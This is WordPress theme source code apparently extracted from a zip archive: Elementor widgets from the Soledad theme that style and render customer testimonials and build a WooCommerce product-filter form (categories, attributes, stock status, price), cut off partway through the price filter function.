					'{{WRAPPER}} .penci-testi-avatar' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'heading_cname',
			array(
				'label'     => __( 'Customers Name', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'name_color',
			array(
				'label'     => __( 'Name Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-name, {{WRAPPER}} .testiname' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'name_typo',
				'label'    => __( 'Typography for Name', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-testi-name, {{WRAPPER}} .testiname',
			)
		);

		$this->add_control(
			'heading_company',
			array(
				'label'     => __( 'Company Name', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'company_color',
			array(
				'label'     => __( 'Company Name Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-company, {{WRAPPER}} .testicom' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'company_typo',
				'label'    => __( 'Typography for Company Name', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-testi-company, {{WRAPPER}} .testicom',
			)
		);

		$this->add_control(
			'heading_desc',
			array(
				'label'     => __( 'Description Text', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'desc_color',
			array(
				'label'     => __( 'Description Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-blockquote' => 'color: {{VALUE}};' ),
			)
		);

		$this->add_control(
			'desc_bgcolor',
			array(
				'label'     => __( 'Description Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array(
					'{{WRAPPER}} .penci-testi-s5 .penci-testi-blockquote:after' => 'border-top-color: {{VALUE}};',
					'{{WRAPPER}} .penci-testi-blockquote'                       => 'background-color: {{VALUE}};border-color: {{VALUE}};',
				),
				'condition' => array( 'style' => array( 's1', 's2', 's5' ) ),
			)
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'desc_typo',
				'label'    => __( 'Typography for Description', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-testi-blockquote',
			)
		);

		$this->add_responsive_control(
			'desc_borderdius',
			array(
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .penci-testimonail .penci-testi-blockquote' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
				'condition'  => array( 'style' => array( 's1', 's2', 's5' ) ),
			)
		);

		$this->add_control(
			'heading_rating',
			array(
				'label'     => __( 'Stars Rating', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			)
		);

		$this->add_control(
			'rating_color',
			array(
				'label'     => __( 'Rating Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .penci-testi-rating' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_responsive_control(
			'rating_size',
			array(
				'label'     => __( 'Rating size', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .penci-testi-rating' => 'font-size: {{SIZE}}px' ),
			)
		);

		// Slider
		$this->add_control(
			'heading_slider_style',
			array(
				'label'     => __( 'Slider', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'condition' => array( 'testitype' => 'crs' ),
			)
		);
		$this->add_control(
			'slider_dot_color',
			array(
				'label'     => __( 'Dots Navigation Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'testitype' => 'crs' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-owl-dot span' => 'background-color: {{VALUE}}; opacity: 1;',
				),
			)
		);
		$this->add_control(
			'slider_dot_bordercl',
			array(
				'label'     => __( 'Dots Navigation Borders Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'testitype' => 'crs' ),
				'selectors' => array(
					'{{WRAPPER}} .penci-owl-dot span' => 'border-color: {{VALUE}};opacity: 1;',
				),
			)
		);
		$this->add_control(
			'slider_dot_hcolor',
			array(
				'label'     => __( 'Dots Navigation Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'condition' => array( 'testitype' => 'crs' ),
				'selectors' => array( '{{WRAPPER}} .penci-owl-dot.hover span,{{WRAPPER}} .penci-owl-dot.active span' => 'background-color: {{VALUE}};border-color: {{VALUE}};opacity: 1;' ),
			)
		);

		$this->end_controls_section();
	}

	protected function render() {
		$settings = $this->get_settings();

		if ( ! $settings['testimonails'] ) {
			return;
		}

		$style        = isset( $settings['style'] ) && $settings['style'] ? $settings['style'] : 's1';

		$default_item_desktop = '3';
		$default_item_tablet = '2';
		if( $style == 's1' || $style == 's3' ) { $default_item_desktop = '1'; $default_item_tablet = '1'; }

		$slider_item  = isset( $settings['slider_item'] ) && $settings['slider_item'] ? $settings['slider_item'] : $default_item_desktop;
		$slider_titem = isset( $settings['slider_titem'] ) && $settings['slider_titem'] ? $settings['slider_titem'] : $default_item_tablet;
		$slider_mitem = isset( $settings['slider_mitem'] ) && $settings['slider_mitem'] ? $settings['slider_mitem'] : '1';
		$testitype    = isset( $settings['testitype'] ) && $settings['testitype'] ? $settings['testitype'] : 'crs';
		$imagepos     = isset( $settings['imagepos'] ) && $settings['imagepos'] ? $settings['imagepos'] : '';



		$wrapper_css_class = 'penci-block-vc penci-smalllist penci-testimonails';
		$wrapper_css_class .= ' penci-testi-' . $style;
		if ( 's4' == $style && $imagepos ) {
			$wrapper_css_class .= ' pcimgpos-' . $imagepos;
		}

		$inner_wrapper_class = 'penci-block_content pcsl-inner penci-clearfix';
		$inner_wrapper_class .= ' pcsl-' . $testitype;
		if ( 'crs' == $testitype ) {
			$inner_wrapper_class .= ' swiper penci-owl-carousel penci-owl-carousel-slider';
		}

		$inner_wrapper_class .= ' pcsl-col-' . $slider_item;
		$inner_wrapper_class .= ' pcsl-tabcol-' . $slider_titem;
		$inner_wrapper_class .= ' pcsl-mobcol-' . $slider_mitem;

		$data_slider = '';
		if ( 'crs' == $testitype ) {
			$data_slider = $settings['showdots'] ? ' data-dots="true"' : '';
			$data_slider .= ! $settings['shownav'] ? ' data-nav="true"' : '';
			$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
			$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';
			$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
			$data_slider .= ' data-autotime="' . ( $settings['auto_time'] ? intval( $settings['auto_time'] ) : '4000' ) . '"';
			$data_slider .= ' data-speed="' . ( $settings['speed'] ? intval( $settings['speed'] ) : '800' ) . '"';
			$data_slider .= ' data-item="' . $slider_item . '" data-desktop="' . $slider_item . '" data-tablet="' . $slider_titem . '" data-tabsmall="' . $slider_titem . '" data-mobile="' . $slider_mitem . '"';
		}
		?>
        <div class="<?php echo esc_attr( $wrapper_css_class ); ?>">
            <div class="<?php echo $inner_wrapper_class; ?>"<?php echo $data_slider; ?>>
				<?php
				$item_class = 'normal-item';
				if ( 'crs' == $testitype ) {
					echo '<div class="swiper-wrapper">';
				}
				foreach ( (array) $settings['testimonails'] as $_testi ) {
					$_testi_image   = isset( $_testi['testi_image'] ) ? $_testi['testi_image'] : '';
					$_testi_name    = isset( $_testi['testi_name'] ) ? $_testi['testi_name'] : '';
					$_testi_company = isset( $_testi['testi_company'] ) ? $_testi['testi_company'] : '';
					$_testi_desc    = isset( $_testi['testi_desc'] ) ? $_testi['testi_desc'] : '';
					$_testi_link    = isset( $_testi['testi_link'] ) ? $_testi['testi_link'] : '';
					$_testi_rating  = isset( $_testi['testi_rating'] ) ? $_testi['testi_rating'] : '';

					if ( $_testi_name || $_testi_company || $_testi_desc ) {
						if ( 'crs' == $testitype ) {
							echo '<div class="swiper-slide">';
						}
						?>
                        <div class="pcsl-item penci-testimonail <?php echo $item_class; ?>">
                            <div class="pcsl-itemin pc-testiinner">
								<?php
								if ( in_array( $style, array( 's1', 's2', 's3' ) ) ) {
									if ( 's2' == $style ) {
										if ( $_testi_desc ) {
											echo '<div class="penci-testi-blockquote">';
											echo '<div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div>';

											if ( $_testi_rating ) {
												$rating_item = '';
												for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
													$rating_item .= penci_icon_by_ver( 'fas fa-star' );
												}
												if ( $rating_item ) {
													echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
												}
											}

											echo '</div>';
										}
									} else {
										if ( $_testi_desc ) {
											echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
										}

										if ( $_testi_rating ) {
											$rating_item = '';
											for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
												$rating_item .= penci_icon_by_ver( 'fas fa-star' );
											}

											if ( $rating_item ) {
												echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
											}
										}
									}

									$url_img_item = $this->get_marker_img_el( $_testi_image );
									if ( $url_img_item ) {
										$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
										echo '<div class="penci-testi-avatar">';
										echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
										echo '</div>';
									}
									if ( $_testi_name ) {
										echo '<h3 class="penci-testi-name">' . $_testi_name . '</h3>';
									}
									if ( $_testi_company ) {
										echo '<div class="penci-testi-company">' . $_testi_company . '</div>';
									}
								} elseif ( in_array( $style, array( 's4' ) ) ) {
									$url_img_item = $this->get_marker_img_el( $_testi_image );
									if ( $url_img_item ) {
										$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
										echo '<div class="pc-testiava"><div class="penci-testi-avatar">';
										echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
										echo '</div></div>';
									}

									if ( $_testi_rating || $_testi_desc || $_testi_name || $_testi_company ) {
										echo '<div class="pctesticont">';
										if ( $_testi_rating ) {
											$rating_item = '';
											for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
												$rating_item .= penci_icon_by_ver( 'fas fa-star' );
											}
											if ( $rating_item ) {
												echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
											}
										}

										if ( $_testi_desc ) {
											echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
										}

										if ( $_testi_name || $_testi_company ) {
											echo '<div class="penci-testi-company"><span class="testiname">' . $_testi_name . '</span><span class="testicom">' . $_testi_company . '</span></div>';
										}
										echo '</div>';
									}
								} else {

									if ( $_testi_desc ) {
										echo '<div class="penci-testi-blockquote"><div class="penci-testi-bq-inner"><span class="penci-testi-bq-icon"></span><span>' . $_testi_desc . '</span></div></div>';
									}
									$url_img_item = $this->get_marker_img_el( $_testi_image );

									if ( $url_img_item || $_testi_rating || $_testi_name || $_testi_company ) {
										echo '<div class="pctesti-head">';

										$url_img_item = $this->get_marker_img_el( $_testi_image );
										if ( $url_img_item ) {
											$thumbnailsize = penci_get_image_size_url( $url_img_item, 'thumbnail' );
											echo '<div class="pc-testiava"><div class="penci-testi-avatar">';
											echo '<img src="' . esc_url( $thumbnailsize ) . '" alt="' . esc_attr( $_testi_name ) . '"/>';
											echo '</div></div>';
										}

										if ( $_testi_rating || $_testi_name || $_testi_company ) {
											echo '<div class="pctesticont">';
											if ( $_testi_name ) {
												echo '<h3 class="penci-testi-name">' . $_testi_name . '</h3>';
											}
											if ( $_testi_company ) {
												echo '<div class="penci-testi-company">' . $_testi_company . '</div>';
											}

											if ( $_testi_rating ) {
												$rating_item = '';
												for ( $i = 1; $i <= $_testi_rating; $i ++ ) {
													$rating_item .= penci_icon_by_ver( 'fas fa-star' );
												}
												if ( $rating_item ) {
													echo '<div class="penci-testi-rating">' . $rating_item . '</div>';
												}
											}
											echo '</div>';
										}

										echo '</div>';

									}
								}
								?>
                            </div>
                        </div>

						<?php
						if ( 'crs' == $testitype ) {
							echo '</div>';
						}
					}

				}
				if ( 'crs' == $testitype ) {
					echo '</div>';
				}
				?>
            </div>
        </div>
		<?php
	}

	public function get_marker_img_el( $image, $thumbnail_size = 'thumbnail' ) {
		if ( empty( $image['url'] ) ) {
			return '';
		}
		if ( ! empty( $image['id'] ) ) {
			$attr = wp_get_attachment_image_src( $image['id'], $thumbnail_size );
			if ( isset( $attr['url'] ) && $attr['url'] ) {
				$image['url'] = $attr['url'];
			}
		}

		return $image['url'];
	}
}
PK     0w\t'  '  1  elementor/modules/penci-product-filter/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciProductFilter;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci_product_filters';
	}

	public function get_widgets() {
		return array( 'PenciProductFilter' );
	}
}
PK     0w\S  S  G  elementor/modules/penci-product-filter/widgets/penci-product-filter.phpnu [        <?php
/**
 * Product filters map.
 */

namespace PenciSoledadElementor\Modules\PenciProductFilter\Widgets;

use Elementor\Controls_Manager;
use Elementor\Repeater;
use Penci_Custom_Walker_Category;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Direct access not allowed.
}

/**
 * Elementor widget that inserts an embeddable content into the page, from any given URL.
 *
 * @since 1.0.0
 */
class PenciProductFilter extends Base_Widget {
	/**
	 * Get widget name.
	 *
	 * @return string Widget name.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_name() {
		return 'penci_product_filters';
	}

	/**
	 * Get widget title.
	 *
	 * @return string Widget title.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Product filters', 'soledad' );
	}

	/**
	 * Get widget icon.
	 *
	 * @return string Widget icon.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_icon() {
		return 'eicon-filter';
	}

	/**
	 * Get widget categories.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	/**
	 * Register the widget controls.
	 *
	 * @since 1.0.0
	 * @access protected
	 */
	protected function register_controls() {
		/**
		 * Content tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_content_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'filter_type',
			[
				'label'   => esc_html__( 'Filter type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					'categories' => esc_html__( 'Categories', 'soledad' ),
					'attributes' => esc_html__( 'Attributes', 'soledad' ),
					'stock'      => esc_html__( 'Stock status', 'soledad' ),
					'price'      => esc_html__( 'Price', 'soledad' ),
					'orderby'    => esc_html__( 'Order by', 'soledad' ),
				],
				'default' => 'categories',
			]
		);

		/**
		 * Categories settings.
		 */
		$repeater->add_control(
			'categories_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Categories',
				'condition' => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'order_by',
			[
				'label'     => esc_html__( 'Order by', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'name',
				'options'   => array(
					'name'  => esc_html__( 'Name', 'soledad' ),
					'id'    => esc_html__( 'ID', 'soledad' ),
					'slug'  => esc_html__( 'Slug', 'soledad' ),
					'count' => esc_html__( 'Count', 'soledad' ),
					'order' => esc_html__( 'Category order', 'soledad' ),
				),
				'condition' => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'hierarchical',
			[
				'label'        => esc_html__( 'Show hierarchy', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'hide_empty',
			[
				'label'        => esc_html__( 'Hide empty categories', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'categories',
				],
			]
		);

		$repeater->add_control(
			'show_categories_ancestors',
			[
				'label'        => esc_html__( 'Show current category ancestors', 'soledad' ),
				'description'  => esc_html__( 'If you visit category Man, for example, only man\'s subcategories will be shown in the page title like T-shirts, Coats, Shoes etc.', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '0',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'categories',
				],
			]
		);

		/**
		 * Attributes settings.
		 */
		$repeater->add_control(
			'attributes_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Filter by',
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'attribute',
			[
				'label'     => esc_html__( 'Attribute', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => $this->get_attributes(),
				'default'   => '',
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'categories',
			[
				'label'       => esc_html__( 'Show in categories', 'soledad' ),
				'description' => esc_html__( 'Choose on which categories pages you want to display this filter. Or leave empty to show on all pages.', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_taxonomies_by_query',
				'render'      => 'penci_get_taxonomies_title_by_id',
				'taxonomy'    => [ 'product_cat' ],
				'multiple'    => true,
				'label_block' => true,
				'condition'   => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'query_type',
			[
				'label'     => esc_html__( 'Query type', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'and',
				'options'   => array(
					'or'  => esc_html__( 'OR', 'soledad' ),
					'and' => esc_html__( 'AND', 'soledad' ),
				),
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'size',
			[
				'label'     => esc_html__( 'Swatches size', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'normal',
				'options'   => array(
					'small'  => esc_html__( 'Small (15px)', 'soledad' ),
					'normal' => esc_html__( 'Normal (25px)', 'soledad' ),
					'large'  => esc_html__( 'Large (35px)', 'soledad' ),
				),
				'condition' => [
					'filter_type' => 'attributes',
				],
			]
		);

		$repeater->add_control(
			'labels',
			[
				'label'        => esc_html__( 'Show labels', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '1',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'attributes',
				],
			]
		);

		/**
		 * Stock settings.
		 */
		$repeater->add_control(
			'stock_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Stock status',
				'condition' => [
					'filter_type' => 'stock',
				],
			]
		);

		$repeater->add_control(
			'onsale',
			[
				'label'        => esc_html__( 'On Sale filter', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '1',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'stock',
				],
			]
		);

		$repeater->add_control(
			'instock',
			[
				'label'        => esc_html__( 'In Stock filter', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'default'      => '1',
				'label_on'     => esc_html__( 'Yes', 'soledad' ),
				'label_off'    => esc_html__( 'No', 'soledad' ),
				'return_value' => '1',
				'condition'    => [
					'filter_type' => 'stock',
				],
			]
		);

		/**
		 * Price settings.
		 */
		$repeater->add_control(
			'price_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'type'      => Controls_Manager::TEXT,
				'default'   => 'Filter by price',
				'condition' => [
					'filter_type' => 'price',
				],
			]
		);

		/**
		 * Repeater settings.
		 */
		$this->add_control(
			'items',
			[
				'type'        => Controls_Manager::REPEATER,
				'title_field' => '{{{ filter_type }}}',
				'fields'      => $repeater->get_controls(),
				'default'     => [
					[
						'filter_type' => 'categories',
					],
					[
						'filter_type' => 'attributes',
					],
					[
						'filter_type' => 'stock',
					],
					[
						'filter_type' => 'price',
					],
				],
			]
		);

		$this->end_controls_section();

		/**
		 * Title settings.
		 */

		$this->register_block_title_section_controls();

		/**
		 * Style tab.
		 */

		/**
		 * General settings.
		 */
		$this->start_controls_section(
			'general_style_section',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'penci_color_scheme',
			[
				'label'   => esc_html__( 'Color Scheme', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					''      => esc_html__( 'Inherit', 'soledad' ),
					'light' => esc_html__( 'Light', 'soledad' ),
					'dark'  => esc_html__( 'Dark', 'soledad' ),
				],
				'default' => '',
			]
		);

		$this->end_controls_section();

		$this->register_block_title_style_section_controls();
	}

	/**
	 * Get product attributes.
	 *
	 * @return array Widget categories.
	 * @since 1.0.0
	 * @access public
	 *
	 */
	public function get_attributes() {
		$output = [
			'' => esc_html__( 'Select', 'soledad' ),
		];

		$taxonomies = wc_get_attribute_taxonomies();

		if ( $taxonomies ) {
			foreach ( $taxonomies as $tax ) {
				$output[ $tax->attribute_name ] = $tax->attribute_name;
			}
		}

		return $output;
	}

	/**
	 * Render the widget output on the frontend.
	 *
	 * Written in PHP and used to generate the final HTML.
	 *
	 * @since 1.0.0
	 *
	 * @access protected
	 */
	protected function render() {
		global $wp;

		$default_settings = [
			'penci_color_scheme' => 'dark',
			'items'              => array(),
		];

		$settings = wp_parse_args( $this->get_settings_for_display(), $default_settings );

		$form_action = wc_get_page_permalink( 'shop' );

		if ( is_shop() ) {
			if ( '' === get_option( 'permalink_structure' ) ) {
				$form_action = remove_query_arg( array(
					'page',
					'paged',
					'product-page'
				), add_query_arg( $wp->query_string, '', home_url( $wp->request ) ) );
			} else {
				$form_action = preg_replace( '%\/page/[0-9]+%', '', home_url( trailingslashit( $wp->request ) ) );
			}
		}

		$this->add_render_attribute(
			[
				'wrapper' => [
					'class'  => [
						'woocommerce',
						'penci-product-filters',
					],
					'action' => [
						$form_action,
					],
					'method' => [
						'GET',
					],
				],
			]
		);

		if ( penci_is_shop_archive() ) {
			$this->add_render_attribute( 'wrapper', 'class', 'with-ajax' );
		}

		?>
        <form <?php echo $this->get_render_attribute_string( 'wrapper' ); ?>>
			<?php foreach ( $settings['items'] as $index => $item ) : ?>
				<?php if ( 'categories' === $item['filter_type'] ) : ?>
					<?php $this->categories_filter_template( $item ); ?>
				<?php elseif ( 'attributes' === $item['filter_type'] ) : ?>
					<?php $this->attributes_filter_template( $item ); ?>
				<?php elseif ( 'stock' === $item['filter_type'] ) : ?>
					<?php $this->stock_filter_template( $item ); ?>
				<?php elseif ( 'price' === $item['filter_type'] ) : ?>
					<?php $this->price_filter_template( $item ); ?>
				<?php elseif ( 'orderby' === $item['filter_type'] ) : ?>
					<?php $this->orderby_filter_template(); ?>
				<?php endif; ?>
			<?php endforeach; ?>

            <div class="penci-pf-btn">
                <button class="button" type="submit">
					<?php esc_html_e( 'Filter', 'soledad' ); ?>
                </button>
            </div>
        </form>
		<?php
	}

	public function categories_filter_template( $settings ) {
		global $wp_query;

		$default_settings = [
			'categories_title'          => esc_html__( 'Categories', 'soledad' ),
			'hierarchical'              => 1,
			'order_by'                  => 'name',
			'hide_empty'                => '',
			'show_categories_ancestors' => '',
		];

		$settings = wp_parse_args( $settings, $default_settings );

		$list_args = [
			'hierarchical'       => $settings['hierarchical'],
			'taxonomy'           => 'product_cat',
			'hide_empty'         => $settings['hide_empty'],
			'title_li'           => false,
			'walker'             => new Penci_Custom_Walker_Category(),
			'use_desc_for_title' => false,
			'orderby'            => $settings['order_by'],
			'echo'               => false,
		];

		if ( 'order' === $settings['order_by'] ) {
			$list_args['orderby']  = 'meta_value_num';
			$list_args['meta_key'] = 'order';
		}

		$cat_ancestors = [];

		if ( is_tax( 'product_cat' ) ) {
			$current_cat   = $wp_query->queried_object;
			$cat_ancestors = get_ancestors( $current_cat->term_id, 'product_cat' );
		}

		if ( isset( $current_cat ) ) {
			$list_args['current_category'] = $current_cat->term_id;
		} else {
			$list_args['current_category'] = '';
		}
		$list_args['current_category_ancestors'] = $cat_ancestors;

		if ( $settings['show_categories_ancestors'] && isset( $current_cat ) ) {
			$is_cat_has_children = get_term_children( $current_cat->term_id, 'product_cat' );
			if ( $is_cat_has_children ) {
				$list_args['child_of'] = $current_cat->term_id;
			} elseif ( $current_cat->parent != 0 ) {
				$list_args['child_of'] = $current_cat->parent;
			}
			$list_args['depth'] = 1;
		}

		?>
        <div class="penci-pf-checkboxes penci-pf-categories">
            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html( $settings['categories_title'] ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown penci-scroll">
                <ul class="penci-scroll-content">
					<?php if ( $settings['show_categories_ancestors'] && isset( $current_cat ) && isset( $is_cat_has_children ) && $is_cat_has_children ) : ?>
                        <li style="display:none;"
                            class="pf-active cat-item cat-item-<?php echo $current_cat->term_id; ?>">
                            <a class="pf-value"
                               href="<?php echo esc_url( get_category_link( $current_cat->term_id ) ); ?>"
                               data-val="<?php echo esc_attr( $current_cat->slug ); ?>"
                               data-title="<?php echo esc_attr( $current_cat->name ); ?>">
								<?php echo esc_html( $current_cat->name ); ?>
                            </a>
                        </li>
					<?php endif; ?>

					<?php echo wp_list_categories( $list_args ); ?>
                </ul>
            </div>
        </div>
		<?php
	}

	public function attributes_filter_template( $settings ) {
		$default_settings = [
			'attributes_title' => esc_html__( 'Filter by', 'soledad' ),
			'attribute'        => '',
			'categories'       => '',
			'query_type'       => 'and',
			'size'             => 'normal',
			'labels'           => 1,
		];

		$settings = wp_parse_args( $settings, $default_settings );

		the_widget(
			'Penci_Product_Filter',
			array(
				'template'     => 'filter-element',
				'attribute'    => $settings['attribute'],
				'query_type'   => $settings['query_type'],
				'size'         => $settings['size'],
				'labels'       => $settings['labels'],
				'filter-title' => $settings['attributes_title'],
				'categories'   => $settings['categories'] ? $settings['categories'] : [],
			),
			array(
				'before_widget' => '',
				'after_widget'  => '',
			)
		);
	}

	public function stock_filter_template( $settings ) {
		$default_settings = [
			'stock_title' => esc_html__( 'Stock status', 'soledad' ),
			'instock'     => 1,
			'onsale'      => 1,
		];

		$settings = wp_parse_args( $settings, $default_settings );

		?>
        <div class="penci-pf-checkboxes penci-pf-stock multi_select">
            <input type="hidden" class="result-input" name="stock_status">

            <div class="penci-pf-title">
				<span class="title-text">
					<?php echo esc_html( $settings['stock_title'] ); ?>
				</span>

                <ul class="penci-pf-results"></ul>
            </div>

            <div class="penci-pf-dropdown penci-scroll">
                <ul class="penci-scroll-content">
					<?php if ( $settings['onsale'] ) : ?>
                        <li>
							<span class="pf-value" data-val="onsale"
                                  data-title="<?php esc_html_e( 'On sale', 'soledad' ); ?>">
								<?php esc_html_e( 'On sale', 'soledad' ); ?>
							</span>
                        </li>
					<?php endif; ?>

					<?php if ( $settings['instock'] ) : ?>
                        <li>
							<span class="pf-value" data-val="instock"
                                  data-title="<?php esc_html_e( 'In stock', 'soledad' ); ?>">
								<?php esc_html_e( 'In stock', 'soledad' ); ?>
							</span>
                        </li>
					<?php endif; ?>
                </ul>
            </div>
        </div>
		<?php
	}

	public function price_filter_template( $settings ) {
		$default_settings = [
			'price_title' => esc_html__( 'Filter by price', 'soledad' ),
		];

		$settings = wp_parse_args( $settings, $default_settings );

		wp_localize_script(
			'penci-woocommerce',
			'woocommerce_price_slider_params',
			[
				'currency_format_num_decimals' => 0,
				'currency_format_symbol'       => get_woocommerce_currency_symbol(),
				'currency_format_decimal_sep'  => esc_attr( wc_get_price_decimal_separator() ),
				'currency_format_thousand_sep' => esc_attr( wc_get_price_thousand_separator() ),
				'currency_format'              => esc_attr( str_replace( [ '%1$s', '%2$s' ], [
					'%s',
					'%v'
				], get_woocommerce_price_format() ) ),
			]
		);
		wp_enqueue_script( 'jquery-ui-slider' );
		wp_enqueue_script( 'wc-jquery-ui-touchpunch' );
		wp_enqueue_script( 'accounting' );
		wp_enqueue_script( 'wc-price-slider' );

		$prices = penci_get_filtered_price_new();

		$min = apply_filters( 'woocommerce_price_filter_widget_min_amount', floor( $prices->min_price ) );
